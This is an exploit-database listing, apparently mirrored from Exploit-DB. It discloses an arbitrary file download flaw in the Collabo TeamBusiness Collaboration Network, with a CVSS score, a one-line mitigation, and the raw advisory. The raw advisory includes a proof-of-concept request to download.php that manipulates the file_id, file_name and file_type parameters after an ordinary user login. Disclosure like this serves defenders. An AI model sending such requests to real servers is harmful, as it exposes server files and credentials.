header-logo
Suggest Exploit
vendor:
Collabo - TeamBusiness Collaboration Network
by:
Ihsan Sencan
8,8
CVSS
HIGH
Arbitrary File Download
434
CWE
Product Name: Collabo - TeamBusiness Collaboration Network
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Win7 x64, Kali Linux x64
2017

Collabo – TeamBusiness Collaboration Network – Arbitrary File Download

A vulnerability in Collabo - TeamBusiness Collaboration Network allows an authenticated user to download arbitrary files from the server by manipulating the file_id and file_name parameters in the download.php script.

Mitigation:

Ensure that user input is properly validated and sanitized before being used in file operations.
Source

Exploit-DB raw data:

# # # # # 
# Exploit Title: Collabo - TeamBusiness Collaboration Network - Arbitrary File Download
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://321-internet.com/
# Software Buy: https://codecanyon.net/item/collabo-teambusiness-collaboration-network/15242543
# Demo: http://321-internet.com/codecanyon/collabo/demo/collabo/index.php
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# Exploit :
# Login as regular user
# http://localhost/[PATH]/download.php?file_id=[FILE]&file_name=Ihsan_Sencan&file_type=php
# Etc...
# # # # #

Navigation

Suggest Exploit

Services By CQR